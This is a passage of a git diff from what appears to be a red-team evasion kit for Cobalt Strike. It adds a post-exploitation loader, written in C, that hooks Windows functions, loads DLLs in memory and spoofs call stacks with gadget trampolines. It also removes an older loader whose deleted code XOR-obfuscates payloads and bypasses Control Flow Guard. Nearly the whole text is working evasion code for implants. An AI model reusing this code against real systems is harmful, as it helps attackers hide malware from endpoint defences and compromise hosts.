dll_src, 0, MEM_RELEASE ); + + entry_point ( ( HINSTANCE ) dll_dst, DLL_PROCESS_ATTACH, NULL ); + entry_point ( ( HINSTANCE ) ( char * ) go, 0x4, loader_arguments ); +} diff --git a/postex-loader/src/loader.h b/postex-loader/src/loader.h new file mode 100644 index 0000000..5bdf12b --- /dev/null +++ b/postex-loader/src/loader.h @@ -0,0 +1,11 @@ +#define GETRESOURCE(x) ( char * ) &x + +typedef struct { + char data [ 4096 ]; + char code [ 16384 ]; +} PICO; + +typedef struct { + int len; + char value[]; +} RESOURCE; diff --git a/postex-loader/src/memory.h b/postex-loader/src/memory.h new file mode 100644 index 0000000..4bae792 --- /dev/null +++ b/postex-loader/src/memory.h @@ -0,0 +1,17 @@ +typedef struct { + PVOID BaseAddress; + SIZE_T Size; + DWORD CurrentProtect; + DWORD PreviousProtect; +} MEMORY_SECTION; + +typedef struct { + PVOID BaseAddress; + SIZE_T Size; + MEMORY_SECTION Sections [ 20 ]; +} MEMORY_REGION; + +typedef struct { + MEMORY_REGION Pico; + MEMORY_REGION Dll; +} MEMORY_LAYOUT; diff --git a/postex-loader/src/pico.c b/postex-loader/src/pico.c new file mode 100644 index 0000000..5b717f5 --- /dev/null +++ b/postex-loader/src/pico.c @@ -0,0 +1,65 @@ +#include +#include "memory.h" +#include "spoof.h" +#include "cleanup.h" +#include "tcg.h" + +MEMORY_LAYOUT g_memory; + +DECLSPEC_IMPORT VOID WINAPI KERNEL32$ExitThread ( DWORD ); + +FARPROC WINAPI _GetProcAddress ( HMODULE hModule, LPCSTR lpProcName ) +{ + /* lpProcName may be an ordinal */ + if ( ( ULONG_PTR ) lpProcName >> 16 == 0 ) + { + /* just resolve normally */ + return GetProcAddress ( hModule, lpProcName ); + } + + FARPROC result = __resolve_hook ( ror13hash ( lpProcName ) ); + + /* + * result may still be NULL if + * it wasn't hooked in the spec + */ + if ( result != NULL ) { + return result; + } + + return GetProcAddress ( hModule, lpProcName ); +} + +void setup_hooks ( IMPORTFUNCS * funcs ) +{ + funcs->GetProcAddress = ( __typeof__ ( GetProcAddress ) * ) _GetProcAddress; +} + +void setup_memory ( MEMORY_LAYOUT * layout ) +{ + if ( layout != NULL ) { + g_memory = * layout; + } +} + +/* + * throw these hooks in here because + * sharing a global across multiple + * modules is still a bit of a headache + */ + +VOID WINAPI _ExitThread ( DWORD dwExitCode ) +{ + /* free memory */ + cleanup_memory ( &g_memory ); + + /* call the real exit thread */ + FUNCTION_CALL call = { 0 }; + + call.ptr = ( PVOID ) ( KERNEL32$ExitThread ); + call.argc = 1; + + call.args [ 0 ] = spoof_arg ( dwExitCode ); + + spoof_call ( &call ); +} diff --git a/postex-loader/src/services.c b/postex-loader/src/services.c new file mode 100644 index 0000000..a0a1797 --- /dev/null +++ b/postex-loader/src/services.c @@ -0,0 +1,15 @@ +#include + +/* patch function pointers in */ +__typeof__ ( GetModuleHandle ) * get_module_handle __attribute__ ( ( section ( ".text" ) ) ); +__typeof__ ( GetProcAddress ) * get_proc_address __attribute__ ( ( section ( ".text" ) ) ); + +/** + * This function is used to locate functions in + * modules that are loaded by default (K32 & NTDLL) + */ +FARPROC resolve ( char * mod_name, char * func_name ) +{ + HANDLE module = get_module_handle ( mod_name ); + return get_proc_address ( module, func_name ); +} diff --git a/postex-loader/src/spoof.c b/postex-loader/src/spoof.c new file mode 100644 index 0000000..ff9f9c2 --- /dev/null +++ b/postex-loader/src/spoof.c @@ -0,0 +1,386 @@ +#include +#include "spoof.h" +#include "tcg.h" + +DECLSPEC_IMPORT HMODULE WINAPI KERNEL32$GetModuleHandleA ( LPCSTR ); +DECLSPEC_IMPORT RUNTIME_FUNCTION * WINAPI KERNEL32$RtlLookupFunctionEntry ( DWORD64, PDWORD64, PUNWIND_HISTORY_TABLE ); +DECLSPEC_IMPORT ULONG NTAPI NTDLL$RtlRandomEx ( PULONG ); + +#define TEXT_HASH 0xEBC2F9B4 +#define RBP_OP_INFO 0x5 + +typedef struct { + LPCWSTR DllPath; + ULONG Offset; + ULONGLONG TotalStackSize; + BOOL RequiresLoadLibrary; + BOOL SetsFramePointer; + PVOID ReturnAddress; + BOOL PushRbp; + ULONG CountOfCodes; + BOOL PushRbpIndex; +} STACK_FRAME; + +typedef enum { + UWOP_PUSH_NONVOL = 0, + UWOP_ALLOC_LARGE, + UWOP_ALLOC_SMALL, + UWOP_SET_FPREG, + UWOP_SAVE_NONVOL, + UWOP_SAVE_NONVOL_FAR, + UWOP_SAVE_XMM128 = 8, + UWOP_SAVE_XMM128_FAR, + UWOP_PUSH_MACHFRAME +} UNWIND_CODE_OPS; + +typedef unsigned char UBYTE; + +typedef union { + struct { + UBYTE CodeOffset; + UBYTE UnwindOp : 4; + UBYTE OpInfo : 4; + }; + USHORT FrameOffset; +} UNWIND_CODE; + +typedef struct { + UBYTE Version : 3; + UBYTE Flags : 5; + UBYTE SizeOfProlog; + UBYTE CountOfCodes; + UBYTE FrameRegister : 4; + UBYTE FrameOffset : 4; + UNWIND_CODE UnwindCode [ 1 ]; +} UNWIND_INFO; + +typedef struct { + PVOID ModuleAddress; + PVOID FunctionAddress; + DWORD Offset; +} FRAME_INFO; + +typedef struct { + FRAME_INFO Frame1; + FRAME_INFO Frame2; + PVOID Gadget; +} SYNTHETIC_STACK_FRAME; + +typedef struct { + FUNCTION_CALL * FunctionCall; + PVOID StackFrame; + PVOID SpoofCall; +} DRAUGR_FUNCTION_CALL; + +typedef struct { + PVOID Fixup; + PVOID OriginalReturnAddress; + PVOID Rbx; + PVOID Rdi; + PVOID BaseThreadInitThunkStackSize; + PVOID BaseThreadInitThunkReturnAddress; + PVOID TrampolineStackSize; + PVOID RtlUserThreadStartStackSize; + PVOID RtlUserThreadStartReturnAddress; + PVOID Ssn; + PVOID Trampoline; + PVOID Rsi; + PVOID R12; + PVOID R13; + PVOID R14; + PVOID R15; +} DRAUGR_PARAMETERS; + +extern PVOID draugr_stub ( PVOID, PVOID, PVOID, PVOID, DRAUGR_PARAMETERS *, PVOID, SIZE_T, PVOID, PVOID, PVOID, PVOID, PVOID, PVOID, PVOID, PVOID ); + +#define draugr_arg(i) ( ULONG_PTR ) ( call->args [ i ] ) + +void init_frame_info ( SYNTHETIC_STACK_FRAME * frame ) +{ + PVOID frame1_module = KERNEL32$GetModuleHandleA ( "kernel32.dll" ); + PVOID frame2_module = KERNEL32$GetModuleHandleA ( "ntdll.dll" ); + + frame->Frame1.ModuleAddress = frame1_module; + frame->Frame1.FunctionAddress = ( PVOID ) GetProcAddress ( ( HMODULE ) frame1_module, "BaseThreadInitThunk" ); + frame->Frame1.Offset = 0x17; + + frame->Frame2.ModuleAddress = frame2_module; + frame->Frame2.FunctionAddress = ( PVOID ) GetProcAddress ( ( HMODULE ) frame2_module, "RtlUserThreadStart" ); + frame->Frame2.Offset = 0x2c; + + // frame->Gadget = KERNEL32$GetModuleHandleA ( "KernelBase.dll" ); + + PVOID dfshim = KERNEL32$GetModuleHandleA ( "dfshim.dll" ); + + if ( dfshim != NULL ) { + frame->Gadget = dfshim; + } else { + frame->Gadget = LoadLibraryA ( "dfshim.dll" ); + } +} + +BOOL get_text_section_size ( PVOID module, PDWORD virtual_address, PDWORD size ) +{ + IMAGE_DOS_HEADER * dos_header = ( IMAGE_DOS_HEADER * ) ( module ); + + if ( dos_header->e_magic != IMAGE_DOS_SIGNATURE ) { + return FALSE; + } + + IMAGE_NT_HEADERS * nt_headers = ( IMAGE_NT_HEADERS * ) ( ( UINT_PTR ) module + dos_header->e_lfanew ); + + if ( nt_headers->Signature != IMAGE_NT_SIGNATURE ) { + return FALSE; + } + + IMAGE_SECTION_HEADER * section_header = IMAGE_FIRST_SECTION ( nt_headers ); + + for ( int i = 0; i < nt_headers->FileHeader.NumberOfSections; i++ ) + { + DWORD h = ror13hash ( ( char * ) section_header[ i ].Name ); + + if ( h == TEXT_HASH ) + { + *virtual_address = section_header[ i ].VirtualAddress; + *size = section_header[ i ].SizeOfRawData; + + return TRUE; + } + } + + return FALSE; +} + +PVOID calculate_function_stack_size ( RUNTIME_FUNCTION * runtime_function, const DWORD64 image_base ) +{ + UNWIND_INFO * unwind_info = NULL; + ULONG unwind_operation = 0; + ULONG operation_info = 0; + ULONG index = 0; + ULONG frame_offset = 0; + + STACK_FRAME stack_frame = { 0 }; + + if ( ! runtime_function ) { + return NULL; + } + + unwind_info = ( UNWIND_INFO * ) ( runtime_function->UnwindData + image_base ); + + while ( index < unwind_info->CountOfCodes ) + { + unwind_operation = unwind_info->UnwindCode[ index ].UnwindOp; + operation_info = unwind_info->UnwindCode[ index ].OpInfo; + + /* don't use switch as it produces jump tables */ + if ( unwind_operation == UWOP_PUSH_NONVOL ) + { + stack_frame.TotalStackSize += 8; + + if ( operation_info == RBP_OP_INFO ) + { + stack_frame.PushRbp = TRUE; + stack_frame.CountOfCodes = unwind_info->CountOfCodes; + stack_frame.PushRbpIndex = index + 1; + } + } + else if ( unwind_operation == UWOP_SAVE_NONVOL ) + { + index += 1; + } + else if ( unwind_operation == UWOP_ALLOC_SMALL ) + { + stack_frame.TotalStackSize += ( ( operation_info * 8 ) + 8 ); + } + else if ( unwind_operation == UWOP_ALLOC_LARGE ) + { + index += 1; + frame_offset = unwind_info->UnwindCode[ index ].FrameOffset; + + if (operation_info == 0) + { + frame_offset *= 8; + } + else + { + index += 1; + frame_offset += ( unwind_info->UnwindCode[ index ].FrameOffset << 16 ); + } + + stack_frame.TotalStackSize += frame_offset; + } + else if ( unwind_operation == UWOP_SET_FPREG ) + { + stack_frame.SetsFramePointer = TRUE; + } + else if ( unwind_operation == UWOP_SAVE_XMM128 ) + { + return NULL; + } + + index += 1; + } + + if ( 0 != ( unwind_info->Flags & UNW_FLAG_CHAININFO ) ) + { + index = unwind_info->CountOfCodes; + + if ( 0 != ( index & 1 ) ) + { + index += 1; + } + + runtime_function = ( RUNTIME_FUNCTION * ) ( &unwind_info->UnwindCode [ index ] ); + return calculate_function_stack_size ( runtime_function, image_base ); + } + + stack_frame.TotalStackSize += 8; + return ( PVOID ) ( stack_frame.TotalStackSize ); +} + +PVOID calculate_function_stack_size_wrapper ( PVOID return_address ) +{ + RUNTIME_FUNCTION * runtime_function = NULL; + DWORD64 image_base = 0; + PUNWIND_HISTORY_TABLE history_table = NULL; + + if ( ! return_address ) { + return NULL; + } + + runtime_function = KERNEL32$RtlLookupFunctionEntry ( ( DWORD64 ) return_address, &image_base, history_table ); + + if ( NULL == runtime_function ) { + return NULL; + } + + return calculate_function_stack_size ( runtime_function, image_base ); +} + +PVOID find_gadget( PVOID module ) +{ + BOOL found_gadgets = FALSE; + DWORD text_section_size = 0; + DWORD text_section_va = 0; + DWORD counter = 0; + ULONG seed = 0; + ULONG random = 0; + PVOID module_text_section = NULL; + + PVOID gadget_list [ 15 ] = { 0 }; + + if ( ! found_gadgets ) + { + if ( ! get_text_section_size ( module, &text_section_va, &text_section_size ) ) { + return NULL; + } + + module_text_section = ( PBYTE ) ( ( UINT_PTR ) module + text_section_va ); + + for ( int i = 0; i < ( text_section_size - 2 ); i++ ) + { + /* x64 opcodes are ff 23 */ + if ( ( ( PBYTE ) module_text_section ) [ i ] == 0xFF && ( ( PBYTE ) module_text_section ) [ i + 1 ] == 0x23 ) + { + /* check for a call before the gadget */ + if ( ( ( PBYTE ) module_text_section ) [ i - 5 ] == 0xE8 ) + { + gadget_list [ counter ] = ( PVOID ) ( ( UINT_PTR ) module_text_section + i ); + counter++; + + if ( counter == 15 ) { + break; + } + } + } + } + + found_gadgets = TRUE; + } + + seed = 0x1337; + random = NTDLL$RtlRandomEx ( &seed ); + random %= counter; + + return gadget_list [ random ]; +} + +ULONG_PTR draugr_wrapper ( PVOID function, PVOID arg1, PVOID arg2, PVOID arg3, PVOID arg4, PVOID arg5, PVOID arg6, PVOID arg7, PVOID arg8, PVOID arg9, PVOID arg10, PVOID arg11, PVOID arg12 ) +{ + int attempts = 0; + PVOID return_address = NULL; + + DRAUGR_PARAMETERS draugr_params = { 0 }; + + SYNTHETIC_STACK_FRAME frame; + init_frame_info ( &frame ); + + return_address = ( PVOID ) ( ( UINT_PTR ) frame.Frame1.FunctionAddress + frame.Frame1.Offset ); + draugr_params.BaseThreadInitThunkStackSize = calculate_function_stack_size_wrapper ( return_address ); + draugr_params.BaseThreadInitThunkReturnAddress = return_address; + + if ( ! draugr_params.BaseThreadInitThunkStackSize || ! draugr_params.BaseThreadInitThunkReturnAddress ) { + return ( ULONG_PTR ) ( NULL ); + } + + return_address = ( PVOID ) ( ( UINT_PTR ) frame.Frame2.FunctionAddress + frame.Frame2.Offset ); + draugr_params.RtlUserThreadStartStackSize = calculate_function_stack_size_wrapper ( return_address ); + draugr_params.RtlUserThreadStartReturnAddress = return_address; + + if ( ! draugr_params.RtlUserThreadStartStackSize || ! draugr_params.RtlUserThreadStartReturnAddress ) { + return ( ULONG_PTR ) ( NULL ); + } + + do + { + draugr_params.Trampoline = find_gadget ( frame.Gadget ); + draugr_params.TrampolineStackSize = calculate_function_stack_size_wrapper ( draugr_params.Trampoline ); + + attempts++; + + if ( attempts > 15 ) { + return ( ULONG_PTR ) ( NULL ); + } + + } while ( draugr_params.TrampolineStackSize == NULL || ( ( __int64 ) draugr_params.TrampolineStackSize < 0x80 ) ); + + if ( ! draugr_params.Trampoline || ! draugr_params.TrampolineStackSize ) { + return ( ULONG_PTR ) ( NULL ); + } + + return ( ULONG_PTR ) draugr_stub ( arg1, arg2, arg3, arg4, &draugr_params, function, 8, arg5, arg6, arg7, arg8, arg9, arg10, arg11, arg12 ); +} + +ULONG_PTR spoof_call ( FUNCTION_CALL * call ) +{ + /* very inelegant */ + if ( call->argc == 0 ) { + return draugr_wrapper ( call->ptr, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL ); + } else if ( call->argc == 1 ) { + return draugr_wrapper ( call->ptr, ( PVOID ) draugr_arg ( 0 ), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL ); + } else if ( call->argc == 2 ) { + return draugr_wrapper ( call->ptr, ( PVOID ) draugr_arg ( 0 ), ( PVOID ) draugr_arg ( 1 ), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL ); + } else if ( call->argc == 3 ) { + return draugr_wrapper ( call->ptr, ( PVOID ) draugr_arg ( 0 ), ( PVOID ) draugr_arg ( 1 ), ( PVOID ) draugr_arg ( 2 ), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL ); + } else if ( call->argc == 4 ) { + return draugr_wrapper ( call->ptr, ( PVOID ) draugr_arg ( 0 ), ( PVOID ) draugr_arg ( 1 ), ( PVOID ) draugr_arg ( 2 ), ( PVOID ) draugr_arg ( 3 ), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL ); + } else if ( call->argc == 5 ) { + return draugr_wrapper ( call->ptr, ( PVOID ) draugr_arg ( 0 ), ( PVOID ) draugr_arg ( 1 ), ( PVOID ) draugr_arg ( 2 ), ( PVOID ) draugr_arg ( 3 ), ( PVOID ) draugr_arg ( 4 ), NULL, NULL, NULL, NULL, NULL, NULL, NULL ); + } else if ( call->argc == 6 ) { + return draugr_wrapper ( call->ptr, ( PVOID ) draugr_arg ( 0 ), ( PVOID ) draugr_arg ( 1 ), ( PVOID ) draugr_arg ( 2 ), ( PVOID ) draugr_arg ( 3 ), ( PVOID ) draugr_arg ( 4 ), ( PVOID ) draugr_arg ( 5 ), NULL, NULL, NULL, NULL, NULL, NULL ); + } else if ( call->argc == 7 ) { + return draugr_wrapper ( call->ptr, ( PVOID ) draugr_arg ( 0 ), ( PVOID ) draugr_arg ( 1 ), ( PVOID ) draugr_arg ( 2 ), ( PVOID ) draugr_arg ( 3 ), ( PVOID ) draugr_arg ( 4 ), ( PVOID ) draugr_arg ( 5 ), ( PVOID ) draugr_arg ( 6 ), NULL, NULL, NULL, NULL, NULL ); + } else if ( call->argc == 8 ) { + return draugr_wrapper ( call->ptr, ( PVOID ) draugr_arg ( 0 ), ( PVOID ) draugr_arg ( 1 ), ( PVOID ) draugr_arg ( 2 ), ( PVOID ) draugr_arg ( 3 ), ( PVOID ) draugr_arg ( 4 ), ( PVOID ) draugr_arg ( 5 ), ( PVOID ) draugr_arg ( 6 ), ( PVOID ) draugr_arg ( 7 ), NULL, NULL, NULL, NULL ); + } else if ( call->argc == 9 ) { + return draugr_wrapper ( call->ptr, ( PVOID ) draugr_arg ( 0 ), ( PVOID ) draugr_arg ( 1 ), ( PVOID ) draugr_arg ( 2 ), ( PVOID ) draugr_arg ( 3 ), ( PVOID ) draugr_arg ( 4 ), ( PVOID ) draugr_arg ( 5 ), ( PVOID ) draugr_arg ( 6 ), ( PVOID ) draugr_arg ( 7 ), ( PVOID ) draugr_arg ( 8 ), NULL, NULL, NULL ); + } else if ( call->argc == 10 ) { + return draugr_wrapper ( call->ptr, ( PVOID ) draugr_arg ( 0 ), ( PVOID ) draugr_arg ( 1 ), ( PVOID ) draugr_arg ( 2 ), ( PVOID ) draugr_arg ( 3 ), ( PVOID ) draugr_arg ( 4 ), ( PVOID ) draugr_arg ( 5 ), ( PVOID ) draugr_arg ( 6 ), ( PVOID ) draugr_arg ( 7 ), ( PVOID ) draugr_arg ( 8 ), ( PVOID ) draugr_arg ( 9 ), NULL, NULL ); + } else if ( call->argc == 11 ) { + return draugr_wrapper ( call->ptr, ( PVOID ) draugr_arg ( 0 ), ( PVOID ) draugr_arg ( 1 ), ( PVOID ) draugr_arg ( 2 ), ( PVOID ) draugr_arg ( 3 ), ( PVOID ) draugr_arg ( 4 ), ( PVOID ) draugr_arg ( 5 ), ( PVOID ) draugr_arg ( 6 ), ( PVOID ) draugr_arg ( 7 ), ( PVOID ) draugr_arg ( 8 ), ( PVOID ) draugr_arg ( 9 ), ( PVOID ) draugr_arg ( 10 ), NULL ); + } else if ( call->argc == 12 ) { + return draugr_wrapper ( call->ptr, ( PVOID ) draugr_arg ( 0 ), ( PVOID ) draugr_arg ( 1 ), ( PVOID ) draugr_arg ( 2 ), ( PVOID ) draugr_arg ( 3 ), ( PVOID ) draugr_arg ( 4 ), ( PVOID ) draugr_arg ( 5 ), ( PVOID ) draugr_arg ( 6 ), ( PVOID ) draugr_arg ( 7 ), ( PVOID ) draugr_arg ( 8 ), ( PVOID ) draugr_arg ( 9 ), ( PVOID ) draugr_arg ( 10 ), ( PVOID ) draugr_arg ( 11 ) ); + } else { + return ( ULONG_PTR ) ( NULL ); + } +} diff --git a/postex-loader/src/spoof.h b/postex-loader/src/spoof.h new file mode 100644 index 0000000..a06584b --- /dev/null +++ b/postex-loader/src/spoof.h @@ -0,0 +1,9 @@ +#define spoof_arg(x) ( ULONG_PTR ) ( x ) + +typedef struct { + PVOID ptr; + int argc; + ULONG_PTR args[10]; +} FUNCTION_CALL; + +ULONG_PTR spoof_call ( FUNCTION_CALL * call ); diff --git a/postex-loader/src/tcg.h b/postex-loader/src/tcg.h new file mode 100644 index 0000000..553836d --- /dev/null +++ b/postex-loader/src/tcg.h @@ -0,0 +1,102 @@ +/* + * Copyright 2025 Raphael Mudge, Adversary Fan Fiction Writers Guild + * + * Redistribution and use in source and binary forms, with or without modification, are + * permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, this list of + * conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, this list of + * conditions and the following disclaimer in the documentation and/or other materials provided + * with the distribution. + * + * 3. Neither the name of the copyright holder nor the names of its contributors may be used to + * endorse or promote products derived from this software without specific prior written + * permission. + * + * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS + * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE + * COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, + * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF + * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR + * TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, + * EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ + +// used by both the Pico Loader and DLL loader +typedef struct { + __typeof__(LoadLibraryA) * LoadLibraryA; + __typeof__(GetProcAddress) * GetProcAddress; +} IMPORTFUNCS; + +// linker intrinsic to map a function hash to a hook registered via Crystal Palace +FARPROC __resolve_hook(DWORD funcHash); + +/* + * Structs used by our DLL loader + */ + +#define PTR_OFFSET(x, y) ( (void *)(x) + (ULONG)(y) ) +#define DEREF( name )*(UINT_PTR *)(name) + +typedef struct { + IMAGE_DOS_HEADER * DosHeader; + IMAGE_NT_HEADERS * NtHeaders; + IMAGE_OPTIONAL_HEADER * OptionalHeader; +} DLLDATA; + +/* + * utility functions + */ +DWORD adler32sum(unsigned char * buffer, DWORD length); +DWORD ror13hash(const char * c); + +/* + * printf-style debugging. + */ +void dprintf(char * format, ...); + +/* + * PICO running functions + */ +typedef void (*PICOMAIN_FUNC)(char * arg); + +PICOMAIN_FUNC PicoGetExport(char * src, char * base, int tag); +PICOMAIN_FUNC PicoEntryPoint(char * src, char * base); +int PicoCodeSize(char * src); +int PicoDataSize(char * src); +void PicoLoad(IMPORTFUNCS * funcs, char * src, char * dstCode, char * dstData); + +/* + * Resolve functions by walking the export address table + */ +FARPROC findFunctionByHash(HANDLE hModule, DWORD wantedFunctionHash); +HANDLE findModuleByHash(DWORD moduleHash); + +/* + * DLL parsing and loading functions + */ +typedef BOOL WINAPI (*DLLMAIN_FUNC)(HINSTANCE, DWORD, LPVOID); + +DLLMAIN_FUNC EntryPoint(DLLDATA * dll, void * base); +IMAGE_DATA_DIRECTORY * GetDataDirectory(DLLDATA * dll, UINT entry); +void LoadDLL(DLLDATA * dll, char * src, char * dst); +void LoadSections(DLLDATA * dll, char * src, char * dst); +void ParseDLL(char * src, DLLDATA * data); +void ProcessImports(IMPORTFUNCS * funcs, DLLDATA * dll, char * dst); +void ProcessRelocations(DLLDATA * dll, char * src, char * dst); +DWORD SizeOfDLL(DLLDATA * data); + +/* + * A macro to figure out our caller + * https://github.com/rapid7/ReflectiveDLLInjection/blob/81cde88bebaa9fe782391712518903b5923470fb/dll/src/ReflectiveLoader.c#L34C1-L46C1 + */ +#ifdef __MINGW32__ +#define WIN_GET_CALLER() __builtin_extract_return_addr(__builtin_return_address(0)) +#else +#pragma intrinsic(_ReturnAddress) +#define WIN_GET_CALLER() _ReturnAddress() +#endif \ No newline at end of file diff --git a/postex-udrl/Makefile b/postex-udrl/Makefile deleted file mode 100644 index 7097f8f..0000000 --- a/postex-udrl/Makefile +++ /dev/null @@ -1,14 +0,0 @@ -CC_64=x86_64-w64-mingw32-gcc - -all: bin/loader.x64.o - -bin: - mkdir bin - -bin/loader.x64.o: bin - $(CC_64) -DWIN_X64 -shared -Wall -Wno-pointer-arith -c src/loader.c -o bin/loader.x64.o - $(CC_64) -DWIN_X64 -shared -Wall -Wno-pointer-arith -c src/proxy.c -o bin/proxy.x64.o - $(CC_64) -DWIN_X64 -shared -Wall -Wno-pointer-arith -c src/hook.c -o bin/hook.x64.o - -clean: - rm -f bin/* diff --git a/postex-udrl/loader.spec b/postex-udrl/loader.spec deleted file mode 100644 index f2f9141..0000000 --- a/postex-udrl/loader.spec +++ /dev/null @@ -1,36 +0,0 @@ -name "Crystal Kit Postex UDRL" -describe "Evasion Kit for Cobalt Strike" -author "Daniel Duggan (@_RastaMouse)" - -x64: - load "bin/loader.x64.o" - make pic +gofirst +optimize +disco +mutate - dfr "resolve" "ror13" - mergelib "../libtcg.x64.zip" - mergelib "../libtp.x64.zip" - - load "bin/proxy.x64.o" - make pic - export - preplen - link "draugr" - - generate $KEY 128 - - load "bin/hook.x64.o" - make object +optimize +disco - mergelib "../libtcg.x64.zip" - import "LoadLibraryA, GetProcAddress, SpoofStub" - export - link "hooks" - - push $DLL - xor $KEY - preplen - link "dll" - - push $KEY - preplen - link "key" - - export \ No newline at end of file diff --git a/postex-udrl/src/cfg.h b/postex-udrl/src/cfg.h deleted file mode 100644 index 19ece14..0000000 --- a/postex-udrl/src/cfg.h +++ /dev/null @@ -1,115 +0,0 @@ -#include - -#define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0) -#define NtCurrentProcess() ((HANDLE)(ULONG_PTR)-1) - -typedef struct { - ULONG ExtendedProcessInfo; - ULONG ExtendedProcessInfoBuffer; -} EXTENDED_PROCESS_INFORMATION, * PEXTENDED_PROCESS_INFORMATION; - -typedef enum _PROCESSINFOCLASS { - ProcessUserModeIOPL = 16, - ProcessCookie = 36 -} PROCESSINFOCLASS; - -typedef struct _VM_INFORMATION { - DWORD dwNumberOfOffsets; - PULONG plOutput; - PCFG_CALL_TARGET_INFO ptOffsets; - PVOID pMustBeZero; - PVOID pMoarZero; -} VM_INFORMATION, * PVM_INFORMATION; - -typedef enum _VIRTUAL_MEMORY_INFORMATION_CLASS { - VmPrefetchInformation, - VmPagePriorityInformation, - VmCfgCallTargetInformation -} VIRTUAL_MEMORY_INFORMATION_CLASS; - -typedef struct _MEMORY_RANGE_ENTRY { - PVOID VirtualAddress; - SIZE_T NumberOfBytes; -} MEMORY_RANGE_ENTRY, * PMEMORY_RANGE_ENTRY; - -typedef enum _MEMORY_INFORMATION_CLASS { - MemoryBasicInformation -} MEMORY_INFORMATION_CLASS; - -DECLSPEC_IMPORT NTSTATUS NTAPI NTDLL$NtQueryInformationProcess (HANDLE, PROCESSINFOCLASS, PVOID, ULONG, PULONG); -DECLSPEC_IMPORT NTSTATUS NTAPI NTDLL$NtQueryVirtualMemory (HANDLE, PVOID, MEMORY_INFORMATION_CLASS, PVOID, SIZE_T, PSIZE_T); -DECLSPEC_IMPORT NTSTATUS NTAPI NTDLL$NtSetInformationVirtualMemory (HANDLE, VIRTUAL_MEMORY_INFORMATION_CLASS, SIZE_T, PMEMORY_RANGE_ENTRY, PVOID, ULONG); - -BOOL CfgEnabled() -{ - EXTENDED_PROCESS_INFORMATION procInfo; - memset(&procInfo, 0, sizeof(EXTENDED_PROCESS_INFORMATION)); - - NTSTATUS status = 0; - - procInfo.ExtendedProcessInfo = ProcessControlFlowGuardPolicy; - procInfo.ExtendedProcessInfoBuffer = 0; - - status = NTDLL$NtQueryInformationProcess(NtCurrentProcess(), ProcessCookie | ProcessUserModeIOPL, &procInfo, sizeof(procInfo), NULL); - - if (!NT_SUCCESS(status)) { - return FALSE; - } - - return procInfo.ExtendedProcessInfoBuffer; -} - -BOOL BypassCfg(PVOID address) -{ - MEMORY_BASIC_INFORMATION mbi; - VM_INFORMATION vmi; - MEMORY_RANGE_ENTRY mre; - CFG_CALL_TARGET_INFO cti; - - memset(&mbi, 0, sizeof(MEMORY_BASIC_INFORMATION)); - memset(&vmi, 0, sizeof(VM_INFORMATION)); - memset(&mre, 0, sizeof(MEMORY_RANGE_ENTRY)); - memset(&cti, 0, sizeof(CFG_CALL_TARGET_INFO)); - - NTSTATUS status = NTDLL$NtQueryVirtualMemory(NtCurrentProcess(), address, MemoryBasicInformation, &mbi, sizeof(mbi), 0); - - if (!NT_SUCCESS(status)) { - return FALSE; - } - - if (mbi.State != MEM_COMMIT || mbi.Type != MEM_IMAGE) { - return FALSE; - } - - cti.Offset = (ULONG_PTR)address - (ULONG_PTR)mbi.BaseAddress; - cti.Flags = CFG_CALL_TARGET_VALID; - - mre.NumberOfBytes = (SIZE_T)mbi.RegionSize; - mre.VirtualAddress = (PVOID)mbi.BaseAddress; - - ULONG dwOutput = 0; - - vmi.dwNumberOfOffsets = 0x1; - vmi.plOutput = &dwOutput; - vmi.ptOffsets = &cti; - vmi.pMustBeZero = 0x0; - vmi.pMoarZero = 0x0; - - status = NTDLL$NtSetInformationVirtualMemory(NtCurrentProcess(), VmCfgCallTargetInformation, 1, &mre, (PVOID)&vmi, (ULONG)sizeof(vmi)); - - if (status == 0xC00000F4) { - /* the size parameter is not valid. try 24 instead, which is a known size for older windows versions */ - status = NTDLL$NtSetInformationVirtualMemory(NtCurrentProcess(), VmCfgCallTargetInformation, 1, &mre, (PVOID)&vmi, 24); - } - - if (!NT_SUCCESS(status)) { - /* STATUS_INVALID_PAGE_PROTECTION - CFG wasn't enabled */ - if (status == 0xC0000045) { - /* pretend we bypassed it so timers can continue */ - return TRUE; - } - return FALSE; - } - - return TRUE; -} \ No newline at end of file diff --git a/postex-udrl/src/hash.h b/postex-udrl/src/hash.h deleted file mode 100644 index 9675e84..0000000 --- a/postex-udrl/src/hash.h +++ /dev/null @@ -1,88 +0,0 @@ -/* - * Copyright 2025 Daniel Duggan, Zero-Point Security - * - * Redistribution and use in source and binary forms, with or without modification, are - * permitted provided that the following conditions are met: - * - * 1. Redistributions of source code must retain the above copyright notice, this list of - * conditions and the following disclaimer. - * - * 2. Redistributions in binary form must reproduce the above copyright notice, this list of - * conditions and the following disclaimer in the documentation and/or other materials provided - * with the distribution. - * - * 3. Neither the name of the copyright holder nor the names of its contributors may be used to - * endorse or promote products derived from this software without specific prior written - * permission. - * - * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS “AS IS” AND ANY EXPRESS - * OR IMPLIED 